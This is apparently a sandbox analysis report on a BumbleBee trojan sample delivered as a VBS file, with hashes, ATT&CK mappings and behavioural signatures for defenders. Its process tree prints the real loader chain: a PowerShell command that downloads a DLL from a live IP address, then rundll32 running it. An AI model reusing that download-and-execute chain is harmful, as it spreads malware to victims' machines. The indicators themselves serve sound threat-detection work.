bumblebee | 2275925934f19490d0a053d03395ea3480fb4a21fbbd48facb233c6b839d063d

Analysis

max time kernel
141s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20230831-en
resource tags

arch:x64arch:x86image:win10v2004-20230831-enlocale:en-usos:windows10-2004-x64system
submitted
14/09/2023, 07:50

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General

Target

IN(11)-9-12-2023_639663.vbs
Size

1KB
MD5

8cd1c23782729f7b13e3132032059e51
SHA1

7a32b8a787374840daeea67c1961085546820cb5
SHA256

b820d64062d79bda89ff168acff318a14a4a0e8a06b69b074452e738ba6d485c
SHA512

b7b95148b05713a80ba72b2e1343f12f713734280d54bc69cb1c653710bfad708459c8a9e102d2446cd38e220caff51b634bc012459df57294282e888677de17

Score

10^/10

bumblebee js1 trojan

Malware Config

Extracted

Family

bumblebee

Botnet

js1

rc4.plain

Signatures

BumbleBee
BumbleBee is a webshell malware written in C++.
trojan bumblebee

Blocklisted process makes network request 5 IoCs

flow	pid	Process
13	3024	powershell.exe
55	3156	rundll32.exe
57	3156	rundll32.exe
58	3156	rundll32.exe
59	3156	rundll32.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2415528079-3794552930-4264847036-1000\Control Panel\International\Geo\Nation	WScript.exe

Loads dropped DLL 1 IoCs

pid	Process
3156	rundll32.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
3156	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3024	powershell.exe
3024	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3024	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3888 wrote to memory of 3024	3888	WScript.exe	85
PID 3888 wrote to memory of 3024	3888	WScript.exe	85
PID 3888 wrote to memory of 3156	3888	WScript.exe	99
PID 3888 wrote to memory of 3156	3888	WScript.exe	99

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\IN(11)-9-12-2023_639663.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3888
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" invoke-webrequest -uri 'http://23.88.100.71/jyi6mm2w2g.dll' -outfile 'c:\users\public\name.dll';
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3024
- C:\Windows\System32\rundll32.exe
  "C:\Windows\System32\rundll32.exe" c:\users\public\name.dll,DllRegisterServer
  2⤵
  - Blocklisted process makes network request
  - Loads dropped DLL
  - Suspicious use of NtCreateThreadExHideFromDebugger
  PID:3156

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_m1do41jh.gu4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Public\name.dll

Filesize
1.1MB

MD5
7d2156efddf126dfb4c466da06f15e11

SHA1
cf90131f73f72b7f32bccca438283a04a1001dbe

SHA256
452bb497728f1eb2ccd56b83f7a13e51447bd79852085e68908cb6c47625060b

SHA512
83496c49175e85e627ff320ec954f1e393d1473e17bf098f3dfbb98c09b18da6c1d4258bdcfcecc382a8da91424ff63ad882deb8a9572fecb6c667b131d74fe4

Download Submit
\??\c:\users\public\name.dll

Filesize
1.1MB

MD5
7d2156efddf126dfb4c466da06f15e11

SHA1
cf90131f73f72b7f32bccca438283a04a1001dbe

SHA256
452bb497728f1eb2ccd56b83f7a13e51447bd79852085e68908cb6c47625060b

SHA512
83496c49175e85e627ff320ec954f1e393d1473e17bf098f3dfbb98c09b18da6c1d4258bdcfcecc382a8da91424ff63ad882deb8a9572fecb6c667b131d74fe4

Download Submit
memory/3024-12-0x0000025FE8290000-0x0000025FE82A0000-memory.dmp

Filesize
64KB

Download
memory/3024-11-0x0000025FE8290000-0x0000025FE82A0000-memory.dmp

Filesize
64KB

Download
memory/3024-13-0x0000025FE8290000-0x0000025FE82A0000-memory.dmp

Filesize
64KB

Download
memory/3024-17-0x00007FFA780A0000-0x00007FFA78B61000-memory.dmp

Filesize
10.8MB

Download
memory/3024-10-0x00007FFA780A0000-0x00007FFA78B61000-memory.dmp

Filesize
10.8MB

Download
memory/3024-9-0x0000025FCFCB0000-0x0000025FCFCD2000-memory.dmp

Filesize
136KB

Download
memory/3156-21-0x00007FFA95A50000-0x00007FFA95C45000-memory.dmp

Filesize
2.0MB

Download
memory/3156-20-0x0000024459A40000-0x0000024459AB9000-memory.dmp

Filesize
484KB

Download
memory/3156-22-0x00007FFA95A50000-0x00007FFA95C45000-memory.dmp

Filesize
2.0MB

Download
memory/3156-23-0x0000024459C40000-0x0000024459D4A000-memory.dmp

Filesize
1.0MB

Download
memory/3156-24-0x00007FFA95A50000-0x00007FFA95C45000-memory.dmp

Filesize
2.0MB

Download
memory/3156-25-0x00007FFA95A50000-0x00007FFA95C45000-memory.dmp

Filesize
2.0MB

Download
memory/3156-26-0x00007FFA95A50000-0x00007FFA95C45000-memory.dmp

Filesize
2.0MB

Download
memory/3156-27-0x0000024459C40000-0x0000024459D4A000-memory.dmp

Filesize
1.0MB

Download
memory/3156-28-0x0000024459A40000-0x0000024459AB9000-memory.dmp

Filesize
484KB

Download
memory/3156-29-0x00007FFA95A50000-0x00007FFA95C45000-memory.dmp

Filesize
2.0MB

Download